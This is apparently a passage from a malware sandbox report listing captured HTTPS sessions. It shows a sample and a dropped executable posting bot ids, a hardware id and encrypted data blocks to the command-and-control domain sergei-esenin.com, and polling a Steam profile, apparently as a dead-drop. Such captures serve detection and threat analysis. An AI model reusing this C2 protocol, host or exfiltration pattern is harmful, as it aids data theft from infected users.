2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: cf 55 ff df 26 0c 13 30 70 8b b7 b4 08 05 3f 15 0f 91 47 2b 01 4d 09 4d 0e e1 0c 46 90 c5 67 1f 7e 05 7c 4b ba 27 f5 3d a4 c0 2e e6 94 34 44 7c be 75 89 a8 da c1 98 32 5b e6 46 05 9d d6 57 90 23 e9 89 fb c1 5a 2e 22 5b ae b0 c7 7d 61 8b f7 3d 4f 52 e7 3e 80 5a 0d 56 a7 6a a1 2e f0 06 b6 ff c0 38 78 c7 52 d4 ff 38 80 c2 2e 78 ac af 7e 3f 4b 46 91 53 18 27 79 90 b0 b7 45 3d ef 21 a6 2e 5e f1 cb 24 66 44 86 6c 24 ba 92 bf de 3f 53 f9 77 94 89 83 6f 7f cf a8 df 97 18 b7 d3 71 c9 a3 73 ed af be a4 0f ce 6a 78 c2 49 52 93 79 07 4f 82 81 0c 9c 28 3c 88 23 0c 0b 14 81 6e 3d 30 fc fe 56 ef 1c a6 4d c1 53 01 c8 4f 8c 8f dc 57 f8 dc c1 51 56 79 d1 6c 3f 1c e3 7f 21 2b b2 d8 79 d7 4d 92 1a 28 db 8d 4f 46 94 d3 e3 c9 e9 c5 e6 64 f3 43 b1 dc 5c 10 6b 56 18 85 42 e9 24 Data Ascii: U&0p?G+MMFg~\|K'=.4D\|u2[FW#Z."[}a=OR>ZVj.8xR8.x~?KFS'yE=!.^$fDl$?SwoqsjxIRyO(<#n=0VMSOWQVyl?!+yM(OFdC\kVB$
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: 93 5d 71 59 13 7d 15 73 66 b4 3f 37 f2 69 6d 8d d9 9f 24 1c f0 f9 5a 9a e3 13 c8 7c e6 01 71 e8 f8 ac 58 bd db 67 71 31 1e 6d c8 3b 95 81 55 94 2e 3a f0 c6 15 26 66 b3 5a 2e c2 0a b8 3f f9 fc 73 ba 52 cb a1 a8 b5 d2 79 af 38 07 0f ec 5b a3 0c 8f ee ab 89 c1 31 96 7c 1c 31 89 43 7b bf 05 ae 76 fe f2 50 72 c5 4d ce 38 13 e3 c3 82 d6 85 65 be 47 49 1d 52 ea cc 78 13 a1 91 32 8f c0 01 27 f6 7d 6e f0 db 78 bd ce 0b f5 70 ba f4 ee 55 b9 ac cd c2 36 62 36 5f 91 2f 09 31 94 e3 15 b5 51 c5 5e f9 fd d4 47 6f d3 48 df d2 05 ea 55 b7 08 43 e5 57 09 86 af 52 68 95 a4 4f 08 aa 2a c7 86 e7 87 53 94 96 2d 67 98 c6 97 12 be 0a 3d 53 ac ba 71 c5 5e 69 f7 96 14 89 7b 2a 30 bf 89 45 30 bb ff 26 9e 66 ac 8b a0 cf b9 29 ce e7 cd 44 ce 1e 2e 43 11 90 a6 05 8e 6c 2e bd 69 77 3d Data Ascii: ]qY}sf?7im$Z\|qXgq1m;U.:&fZ.?sRy8[1\|1C{vPrM8eGIRx2'}nxpU6b6_/1Q^GoHUCWRhOS-g=Sq^i{0E0&f)D.Cl.iw=
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: 7a 9f fd 27 94 7f 46 60 65 54 bd 5b 07 30 17 27 cd ff 17 9c f8 65 f7 4e a1 3f 20 58 02 35 a9 c7 b9 2b 07 9f 20 68 8a 71 16 9e 62 ab 70 c0 91 9b 6c 31 0e ae a8 ea 62 80 8f 61 1f 8a 96 86 d6 c4 80 b5 3f 49 fa 50 b4 12 77 5e 0a f3 16 1d 99 e5 bf e8 f1 63 3b ae 8b 2e cf b7 1b 8e 89 3d 9e 28 54 a3 29 71 13 ea 9b c2 a9 ce 96 ee fe 0b 76 77 66 3d 7c 97 01 62 50 a0 88 ba 3b 38 68 e1 1b 51 8d 89 6b e5 a9 a0 d9 7a 80 d5 1c 35 da bf b7 7a 20 ab 0e 8f 82 86 43 cd 94 e1 88 e7 63 f6 57 a9 b9 cd d4 83 da 4c d4 b7 06 01 4f 27 2a cf 8a 29 48 db a9 eb b4 77 8c f9 50 e8 4b eb c8 22 ed 1e 25 f8 a9 75 0d bc 94 b5 95 87 6b de 2f d4 7b 03 c1 d6 4d 3e aa 71 f6 56 4b 55 59 33 95 87 1d a3 69 e3 81 6d 7e 59 b8 50 1f c4 12 46 dd 10 93 a2 0b 2d d4 c3 f0 1f 0d 96 5f 57 2c ed 11 b0 1b Data Ascii: z'F`eT[0'eN? X5+ hqbpl1ba?IPw^c;.=(T)qvwf=\|bP;8hQkz5z CcWLO'*)HwPK"%uk/{M>qVKUY3im~YPF-_W,
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: d4 d6 43 a8 81 5d 9a e3 5a 9b ea c9 42 f6 18 c5 ec ef eb fe 8e 8c 2c 34 3c d3 5d ca b0 52 a6 5f c4 fd b3 5f f0 2a 06 c1 cb 0a 2c cb 09 12 74 13 91 e6 1c 5e be a8 3b 3b 33 39 f4 30 ac 4a 8c d3 99 ad ed 82 a3 7c 1f 3e 1f d6 11 78 ef 11 da fd 1e 86 b2 3b df e4 bc f0 02 34 1e f6 b5 b6 02 f6 c2 c9 01 35 d0 ee fb 87 69 c5 b2 b5 36 93 b8 77 9b ff 56 5f 88 2d 1a 88 bd 68 65 5f f9 ec 7f 9e 07 76 a1 c1 71 68 8f 81 f9 46 7d f0 ec d1 29 88 18 d5 fd b4 b8 5d 0e 06 30 1c e7 bd 8a 06 d5 7f 5e 9e 03 16 7b 47 db f6 4a a8 7f 88 f3 52 65 15 29 b4 3b 9e 63 b7 5f e9 7e b2 f7 3b cd 2d a2 87 56 91 f3 e3 f0 8d 45 1e 0b 4c 02 a3 9e d4 ae 78 c0 6d a7 b7 b1 d0 3d 41 df f6 d9 5f 87 9b 3f 87 a7 5c 5d 04 5d d9 f5 83 05 50 ff 7c d0 35 1b 63 5a a7 de 37 f0 3c 74 57 da 6a dd 11 f9 d7 47 Data Ascii: C]ZB,4<]R__*,t^;;390J\|>x;45i6wV_-he_vqhF})]0^{GJRe);c_~;-VELxm=A_?\]]P\|5cZ7<tWjG
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: 80 f7 66 24 31 1f 0a 71 31 7d af 31 2c 93 d2 68 1e 46 d5 db c2 9b 28 3b 5f d7 94 7d c3 b3 6e 1e a2 e0 10 03 22 fa 14 43 d0 4c 85 ac 68 1d e3 c2 34 2a 96 d0 39 f2 28 3a 1c 4e 84 e3 13 85 94 9d f8 ed b0 36 76 1e f9 1e 82 45 b9 97 c7 3b 06 d1 f9 9d 4e c7 a2 c4 b0 7f 2d 14 2c 69 a0 c1 fb b9 23 5c 04 9f 6d c0 3e 43 45 21 d6 9f 4f 00 cf 5d 19 3e 75 81 e8 8b 36 1e 8b 09 da a2 de a1 20 e1 01 cd c6 83 ad 36 01 6e 5c 80 e3 c7 f0 2b db 80 03 b6 de 8d 23 cd cb 21 9f 43 19 9d a3 0c c2 e0 4a 19 96 25 8a d8 8f 6d 5d ab de 6d 16 25 b5 fd 2b ac 7c 78 b6 5b 6f 2c 95 c8 35 40 2f 0f 14 07 f1 5c 12 00 69 6d 26 4d 37 36 8c 1d 9b c3 32 a5 54 4a 51 47 ee 58 40 9b a2 6b fb 24 df 15 91 7c 84 04 35 6d 06 a3 e2 a2 b8 2a ce bc 0d 63 e6 aa e9 86 e9 06 89 b7 dc 9c 63 8c 9d 54 b1 ef 16 Data Ascii: f$1q1}1,hF(;_}n"CLh49(:N6vE;N-,i#\m>CE!O]>u6 6n\+#!CJ%m]m%+\|x[o,5@/\im&M762TJQGX@k$\|5mccT
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: c7 e0 1f 68 ac 7f cd 8d b7 29 08 f0 53 f6 b4 2e f1 69 ad 28 44 94 8b c6 61 56 7a 17 23 95 f0 2c 86 f0 01 ba bc 0c cc bb d1 cb f6 1a 55 18 a5 d8 08 71 76 c8 0f be c4 1a 22 de 26 bd a3 c7 de 71 c2 79 c1 d7 09 8b 57 cd 32 da ef de 22 af b5 3b c2 5a f8 9a f6 64 b9 6b 7e de 6b 9f 84 34 3b 10 64 7b 49 04 c3 5d 0c a6 c4 85 e8 b3 90 eb 63 07 5b 62 5f 37 39 5d 29 71 87 72 9c bc 0e 48 7a c1 34 17 85 05 89 12 fc 1d e7 a6 28 de 2d 02 e7 8a 99 e4 2c 01 22 2e b8 36 29 4c ae bd a9 8e 3d aa 60 f0 a5 bd 12 29 05 dd f8 62 ed 08 2b de b7 d7 5b c3 ae 4d 6d 8e 45 1a 35 06 98 45 f2 ae fe 91 8b 8b ea 96 cb 0f 6f dc e2 fb 90 6d 6a 8c 05 d4 c0 c5 2a 4b 41 93 a1 9e 33 7d 43 e6 20 bf 88 ec a3 50 76 ca c5 f4 30 4c 92 87 98 53 7f 94 97 6c b1 d8 51 a7 d7 70 d8 45 56 7d be 86 8b 7c bb Data Ascii: h)S.i(DaVz#,Uqv"&qyW2";Zdk~k4;d{I]c[b_79])qrHz4(-,".6)L=`)b+[MmE5Eomj*KA3}C Pv0LSlQpEV}\|
2024-10-17 16:38:38 UTC	823	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oh93nd6572km86k6v8hq0kkaeo; expires=Mon, 10 Feb 2025 10:25:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MiCXdKAEtybeeMTO35o8HG8q3deYwLoAjd4TAaNz5ug5pPTSNg9Xx5cNVAOC12DTki%2BGDF8tdyeY8TBY6VBKH5ZViZZ08qRD8htjMs6UxihHHuECJi7RPMI7VpnAsNcXQ1uDsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b850cdece83f-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49804	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:39 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ajDQF8.Td1Za2DoBSCkWqkkvtapf5023ZAaKCJQncig-1729183107-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-17 16:38:39 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=99737A6AE2A051555FABADFC648B0EFF
2024-10-17 16:38:40 UTC	825	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=noi13c27ja7dg16jvl3mho3khn; expires=Mon, 10 Feb 2025 10:25:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=onxn5%2BY6r5rP4JBh8oxyHr31Hl6HFk50%2BydRYM13n1fS8cpmzn752jt14OE33fxsFequ8XVvybQJmZcyhnFtshQcSRC9H7zn5LRYawPYEUSHi88Zx5v1k87PoYaqx1h8Lra2vQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b8618eade7a6-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:38:40 UTC	311	IN	Data Raw: 31 33 30 0d 0a 4d 76 37 4c 4b 6c 64 57 41 76 2f 7a 4c 74 7a 42 6f 61 6a 39 49 63 43 70 78 37 4a 49 7a 67 58 6a 75 58 59 64 6c 45 36 4f 55 62 6c 70 68 65 6c 66 64 57 77 67 6c 34 64 61 72 50 76 39 68 36 45 4f 38 5a 48 79 6e 48 72 2f 4d 4d 32 49 52 79 36 36 66 37 35 69 35 52 32 4e 76 30 38 32 4f 31 37 51 67 55 2b 79 70 63 37 46 30 30 53 34 7a 4f 57 65 61 71 68 78 77 59 4e 47 4d 62 59 72 72 47 75 4a 54 39 4b 77 43 43 4a 30 4f 4e 32 62 57 71 69 78 6d 2f 54 53 66 65 2b 59 2f 34 64 6d 2f 44 54 57 6c 30 63 73 70 32 43 2f 59 59 70 75 30 61 5a 44 4f 54 4e 65 30 49 46 50 73 71 58 4f 78 64 4e 45 75 4d 7a 6c 6e 6d 71 6f 63 63 47 44 52 6a 47 32 4b 36 78 72 69 55 2f 53 73 41 67 69 64 44 6a 64 6d 31 71 6f 73 5a 76 30 30 6e 33 76 6d 50 2b 48 5a 76 77 30 31 70 64 48 4c 4b Data Ascii: 130Mv7LKldWAv/zLtzBoaj9IcCpx7JIzgXjuXYdlE6OUblphelfdWwgl4darPv9h6EO8ZHynHr/MM2IRy66f75i5R2Nv082O17QgU+ypc7F00S4zOWeaqhxwYNGMbYrrGuJT9KwCCJ0ON2bWqixm/TSfe+Y/4dm/DTWl0csp2C/YYpu0aZDOTNe0IFPsqXOxdNEuMzlnmqoccGDRjG2K6xriU/SsAgidDjdm1qosZv00n3vmP+HZvw01pdHLK
2024-10-17 16:38:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50051	95.100.48.249	443	880	C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:18 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-17 16:40:18 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 17 Oct 2024 16:40:18 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=10e3af70382235a455268ced; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb3e1a0cb63bea3f237584fc972a7c186; Path=/; Secure; HttpOnly; SameSite=None
2024-10-17 16:40:18 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-17 16:40:18 UTC	10109	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J
2024-10-17 16:40:18 UTC	1529	IN	Data Raw: 73 3d 22 22 3e 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 5f 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 5f 63 6f 6e 74 65 6e 74 22 3e 0d 0a 09 09 09 09 3c 73 70 61 6e 20 69 64 3d 22 66 6f 6f 74 65 72 4c 6f 67 6f 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6d 6d 75 6e 69 74 79 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 69 6d 61 67 65 73 2f 73 6b 69 6e 5f 31 2f 66 6f 6f 74 65 72 4c 6f 67 6f 5f 76 61 6c 76 65 2e 70 6e 67 3f 76 3d 31 22 20 77 69 64 74 68 3d 22 39 36 Data Ascii: s=""></div><div id="footer_responsive_optin_spacer"></div><div id="footer"><div class="footer_content"><span id="footerLogo"><img src="https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1" width="96

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	50054	95.100.48.249	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:31 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-17 16:40:31 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 17 Oct 2024 16:40:31 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=ffd06f247390fec644f240c2; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb3e1a0cb63bea3f237584fc972a7c186; Path=/; Secure; HttpOnly; SameSite=None
2024-10-17 16:40:31 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-17 16:40:31 UTC	10109	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-17 16:40:31 UTC	11165	IN	Data Raw: 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 Data Ascii: uot;,"FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/",&q

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	50055	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:32 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-17 16:40:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-17 16:40:32 UTC	566	IN	HTTP/1.1 403 Forbidden Date: Thu, 17 Oct 2024 16:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sOTwcEm%2FzpTfLQ04WHgvZXzG2TGoqFKxTuRETeVZ1ZY9ONjyMn343Eiqc2ybKPgQM1SwxJUH%2FOgq4x4pCOmyQYN%2BbNQ7kCnxfd4J5P64F0f%2FYrDftqPi5OHUqKORQ%2FxQ%2BPsoHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41bb240e72e96a-DFW
2024-10-17 16:40:32 UTC	803	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
